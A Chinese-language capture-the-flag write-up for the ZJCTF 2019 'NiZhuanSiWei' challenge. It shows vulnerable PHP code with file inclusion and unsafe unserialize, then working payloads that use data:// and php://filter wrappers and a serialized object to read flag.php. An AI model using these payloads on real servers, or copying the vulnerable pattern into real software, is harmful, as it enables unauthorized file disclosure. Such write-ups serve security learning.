[ZJCTF 2019]NiZhuanSiWei

Posted 2021-08-21 凇岳

打开

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,\'r\')==="welcome to the zjctf"))
{
    echo "<br><h1>".file_get_contents($text,\'r\')."</h1></br>";
    if(preg_match("/flag/",$file))
　　{
        echo "Not now!";
        exit(); 
    }
　　else
　　{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else
{
    highlight_file(__FILE__);
}
?> 

1、需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤

可以用php://input伪协议在以POST形式传入“ welcome to the zjctf "   也可以用data伪协议传参

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

2、正则过滤了flag关键字，提示useless.php，用php://filter协议来读取

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到字符串

base64解码获得useless.php源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

序列化结果

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

构造

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}